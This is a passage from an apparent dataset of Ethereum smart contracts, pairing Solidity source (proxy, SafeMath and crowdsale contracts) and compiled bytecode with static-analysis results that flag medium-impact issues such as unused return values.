6008546009541061081f57600d805474ff0000000000000000000000000000000000000000191660a060020a1790555b600d54604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610858573d6000803e3d6000fd5b505050505050505050565b60408051808201909152600c81527f45544845524c4942455254590000000000000000000000000000000000000000602082015281565b600081158015906108cd5750336000908152600360209081526040808320600160a060020a038716845290915290205415155b156108da5750600061093c565b336000818152600360209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b600154600090600160a060020a0316331461095c57600080fd5b60085461096f908363ffffffff61133016565b60088190556040805184815290519192507f90f1f758f0e2b40929b1fd48df7ebe10afc272a362e1f0d63a90b8b4715d799f919081900360200190a15050565b60085481565b6000606060643610156109c457fe5b600160a060020a03841615156109d957600080fd5b600160a060020a0385166000908152600260205260409020548311156109fe57600080fd5b600160a060020a0385166000908152600360209081526040808320338452909152902054831115610a2e57600080fd5b600160a060020a038516600090815260026020526040902054610a57908463ffffffff61133d16565b600160a060020a0386166000908152600260209081526040808320939093556003815282822033835290522054610a94908463ffffffff61133d16565b600160a060020a038087166000908152600360209081526040808320338452825280832094909455918716815260029091522054610ad8908463ffffffff61133016565b600160a060020a03808616600081815260026020908152604091829020949094558051878152905191939289169260008051602061149183398151915292918290030190a3506001949350505050565b60055481565b600154600090600160a060020a03163314610b4857600080fd5b506001546040518291600160a060020a03169082156108fc029083906000818181858888f19350505050158015610b83573d6000803e3d6000fd5b505050565b600881565b600154600090600160a060020a03163314610ba757600080fd5b33600090815260026020526040902054821115610bc357600080fd5b5033600081815260026020526040902054610be4908363ffffffff61133d16565b600160a060020a038216600090815260026020526040902055600854610c10908363ffffffff61133d16565b600855600954610c26908363ffffffff61133d16565b600955604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60065481565b600160a060020a031660009081526002602052604090205490565b6611c37937e0800081565b600154600160a060020a03163314610caf57600080fd5b610cb9828261134f565b5050565b60075481565b600c5481565b6001546000908190600160a060020a03163314610ce557600080fd5b50506001546040513091823191600160a060020a03909116906108fc8315029083906000818181858888f19350505050158015610b83573d6000803e3d6000fd5b60408051808201909152600481527f4554484c00000000000000000000000000000000000000000000000000000000602082015281565b600154600090600160a060020a03163314610d7757600080fd5b600d5460a060020a900460ff1615610d8e57600080fd5b600d805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc90600090a150600190565b600154600160a060020a03163314610df857600080fd5b600a8190556040805182815290517ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c0039181900360200190a150565b600060406044361015610e4257fe5b600160a060020a0384161515610e5757600080fd5b33600090815260026020526040902054831115610e7357600080fd5b33600090815260026020526040902054610e93908463ffffffff61133d16565b3360009081526002602052604080822092909255600160a060020a03861681522054610ec5908463ffffffff61133016565b600160a060020a0385166000818152600260209081526040918290209390935580518681529051919233926000805160206114918339815191529281900390910190a35060019392505050565b60046020526000908152604090205460ff1681565b600d5460a060020a900460ff1681565b600080600084915081600160a060020a03166370a08231856040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610fb357600080fd5b505af1158015610fc7573d6000803e3d6000fd5b505050506040513d6020811015610fdd57600080fd5b505195945050505050565b600a5481565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015460009081908190600160a060020a0316331461103757600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051859350600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561109b57600080fd5b505af11580156110af573d6000803e3d6000fd5b505050506040513d60208110156110c557600080fd5b5051600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b15801561113957600080fd5b505af115801561114d573d6000803e3d6000fd5b505050506040513d602081101561116357600080fd5b5051949350505050565b600b5481565b60095481565b600154600160a060020a0316331461119057600080fd5b600160a060020a038116156111c8576001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b600154600090600160a060020a031633146111e557600080fd5b5060005b8281101561121e5761121684848381811061120057fe5b90506020020135600160a060020a03168361134f565b6001016111e9565b50505050565b60008215156112355750600061093c565b5081810281838281151561124557fe5b041461093c57fe5b600d5460009060a060020a900460ff161561126757600080fd5b60095461127a908363ffffffff61133016565b600955600160a060020a0383166000908152600260205260409020546112a6908363ffffffff61133016565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191927f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a7792918290030190a2604080518381529051600160a060020a038516916000916000805160206114918339815191529181900360200190a350600192915050565b8181018281101561093c57fe5b60008282111561134957fe5b50900390565b600154600160a060020a0316331461136657600080fd5b6000811161137357600080fd5b6008546009541061138357600080fd5b600160a060020a0382166000908152600260205260409020546113ac908263ffffffff61133016565b600160a060020a0383166000908152600260205260409020556009546113d8908263ffffffff61133016565b60098190556008541161140a57600d805474ff0000000000000000000000000000000000000000191660a060020a1790555b600160a060020a0382166000818152600260209081526040918290205482518581529182015281517fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d272929181900390910190a2604080518281529051600160a060020a038416916000916000805160206114918339815191529181900360200190a350505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058203d3a918a5913c84fcaa10e86b4328e9fdcffac3f96f3a3b2e0a36bcec804885e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 1,658 |
0x19bc15849b392519a9a9131df32c00cc3497892d
|
/**
*Submitted for verification at Etherscan.io on 2021-09-09
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
////////////////////////////////////////////////////////////////////////////////////////////////////
/// PART: OpenZeppelin/[email protected]/contracts/utils/Address.sol ////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
////////////////////////////////////////////////////////////////////////////////////////////////////
/// PART: OpenZeppelin/[email protected]/contracts/proxy/Proxy.sol //////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
////////////////////////////////////////////////////////////////////////////////////////////////////
/// PART: OpenZeppelin/[email protected]/contracts/proxy/ERC1967/ERC1967Proxy.sol ///////
////////////////////////////////////////////////////////////////////////////////////////////////////
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract ERC1967Proxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
Address.functionDelegateCall(_logic, _data);
}
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal virtual {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967Proxy: new implementation is not a contract");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
////////////////////////////////////////////////////////////////////////////////////////////////////
/// PART: UpgradeableProxy.sol /////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////
/**
* @dev Copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.1.0/contracts/utils/StorageSlot.sol
*/
library StorageSlot {
struct AddressSlot {
address value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
}
/**
* @dev An ossifiable proxy.
*/
contract UpgradeableProxy is ERC1967Proxy {
/**
* @dev Storage slot with the admin of the contract.
*
* Equals `bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)`.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Initializes the upgradeable proxy with the initial implementation and admin.
*/
constructor(address implementation, address admin)
ERC1967Proxy(implementation, new bytes(0))
{
_setAdmin(admin);
}
/**
* @return Returns the current implementation address.
*/
function implementation() external view returns (address) {
return _implementation();
}
/**
* @dev Upgrades the proxy to a new implementation, optionally performing an additional
* setup call.
*
* Can only be called by the proxy admin until the proxy is ossified.
* Cannot be called after the proxy is ossified.
*
* Emits an {Upgraded} event.
*
* @param setupCalldata Data for the setup call. The call is skipped if data is empty.
*/
function proxy_upgradeTo(address newImplementation, bytes memory setupCalldata) external {
address admin = _getAdmin();
require(admin != address(0), "proxy: ossified");
require(msg.sender == admin, "proxy: unauthorized");
_upgradeTo(newImplementation);
if (setupCalldata.length > 0) {
Address.functionDelegateCall(newImplementation, setupCalldata, "proxy: setup failed");
}
}
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
StorageSlot.getAddressSlot(ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Returns the current admin of the proxy.
*/
function proxy_getAdmin() external view returns (address) {
return _getAdmin();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function proxy_changeAdmin(address newAdmin) external {
address admin = _getAdmin();
require(admin != address(0), "proxy: ossified");
require(msg.sender == admin, "proxy: unauthorized");
emit AdminChanged(admin, newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Returns whether the implementation is locked forever.
*/
function proxy_getIsOssified() external view returns (bool) {
return _getAdmin() == address(0);
}
}
|
0x60806040526004361061004e5760003560e01c8063019fa4f1146100655780632e1997b6146100855780635c60da1b146100af578063621f6309146100dc578063abe5e587146100fc5761005d565b3661005d5761005b610111565b005b61005b610111565b34801561007157600080fd5b5061005b61008036600461062a565b610143565b34801561009157600080fd5b5061009a61026b565b60405190151581526020015b60405180910390f35b3480156100bb57600080fd5b506100c4610285565b6040516001600160a01b0390911681526020016100a6565b3480156100e857600080fd5b5061005b6100f7366004610644565b6102b4565b34801561010857600080fd5b506100c46103a3565b61014161013c7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b6103e2565b565b600061014d610406565b90506001600160a01b03811661019c5760405162461bcd60e51b815260206004820152600f60248201526e1c1c9bde1e4e881bdcdcda599a5959608a1b60448201526064015b60405180910390fd5b336001600160a01b038216146101ea5760405162461bcd60e51b81526020600482015260136024820152721c1c9bde1e4e881d5b985d5d1a1bdc9a5e9959606a1b6044820152606401610193565b604080516001600160a01b038084168252841660208201527f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f910160405180910390a17fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610380546001600160a01b0319166001600160a01b0384161790555050565b600080610276610406565b6001600160a01b031614905090565b60006102af7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b905090565b60006102be610406565b90506001600160a01b0381166103085760405162461bcd60e51b815260206004820152600f60248201526e1c1c9bde1e4e881bdcdcda599a5959608a1b6044820152606401610193565b336001600160a01b038216146103565760405162461bcd60e51b81526020600482015260136024820152721c1c9bde1e4e881d5b985d5d1a1bdc9a5e9959606a1b6044820152606401610193565b61035f83610434565b81511561039e5761039c8383604051806040016040528060138152602001721c1c9bde1e4e881cd95d1d5c0819985a5b1959606a1b815250610474565b505b505050565b60006102af610406565b60606103d2838360405180606001604052806027815260200161079360279139610474565b9392505050565b3b151590565b90565b3660008037600080366000845af43d6000803e808015610401573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103546001600160a01b031690565b61043d81610548565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6060833b6104d35760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610193565b600080856001600160a01b0316856040516104ee9190610701565b600060405180830381855af49150503d8060008114610529576040519150601f19603f3d011682016040523d82523d6000602084013e61052e565b606091505b509150915061053e8282866105d5565b9695505050505050565b803b6105b15760405162461bcd60e51b815260206004820152603260248201527f4552433139363750726f78793a206e657720696d706c656d656e746174696f6e604482015271081a5cc81b9bdd08184818dbdb9d1c9858dd60721b6064820152608401610193565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b606083156105e45750816103d2565b8251156105f45782518084602001fd5b8160405162461bcd60e51b8152600401610193919061071d565b80356001600160a01b038116811461062557600080fd5b919050565b60006020828403121561063b578081fd5b6103d28261060e565b60008060408385031215610656578081fd5b61065f8361060e565b9150602083013567ffffffffffffffff8082111561067b578283fd5b818501915085601f83011261068e578283fd5b8135818111156106a0576106a061077c565b604051601f8201601f19908116603f011681019083821181831017156106c8576106c861077c565b816040528281528860208487010111156106e0578586fd5b82602086016020830137856020848301015280955050505050509250929050565b60008251610713818460208701610750565b9190910192915050565b602081526000825180602084015261073c816040850160208701610750565b601f01601f19169190910160400192915050565b60005b8381101561076b578181015183820152602001610753565b8381111561039c5750506000910152565b634e487b7160e01b600052604160045260246000fdfe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220f1cd894fc1c7346f4878959fd4bf9c25ac8907c2eba8247f80d1b1a4d0b13f1764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 1,659 |
0x774a6a79515756b50b66b85b09d792e3a5378dac
|
pragma solidity ^0.4.19;
// File: node_modules/zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: node_modules/zeppelin-solidity/contracts/crowdsale/Crowdsale.sol
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overriden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropiate to concatenate
* behavior.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
/**
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statemens to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
// File: node_modules/zeppelin-solidity/contracts/crowdsale/emission/AllowanceCrowdsale.sol
/**
* @title AllowanceCrowdsale
* @dev Extension of Crowdsale where tokens are held by a wallet, which approves an allowance to the crowdsale.
*/
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
address public tokenWallet;
/**
* @dev Constructor, takes token wallet address.
* @param _tokenWallet Address holding the tokens, which has approved allowance to the crowdsale
*/
function AllowanceCrowdsale(address _tokenWallet) public {
require(_tokenWallet != address(0));
tokenWallet = _tokenWallet;
}
/**
* @dev Checks the amount of tokens left in the allowance.
* @return Amount of tokens left in the allowance
*/
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
/**
* @dev Overrides parent behavior by transferring tokens from wallet.
* @param _beneficiary Token purchaser
* @param _tokenAmount Amount of tokens purchased
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transferFrom(tokenWallet, _beneficiary, _tokenAmount);
}
}
// File: node_modules/zeppelin-solidity/contracts/crowdsale/validation/TimedCrowdsale.sol
/**
* @title TimedCrowdsale
* @dev Crowdsale accepting contributions only within a time frame.
*/
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
/**
* @dev Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen {
require(now >= openingTime && now <= closingTime);
_;
}
/**
* @dev Constructor, takes crowdsale opening and closing times.
* @param _openingTime Crowdsale opening time
* @param _closingTime Crowdsale closing time
*/
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= now);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
return now > closingTime;
}
/**
* @dev Extend parent behavior requiring to be within contributing period
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
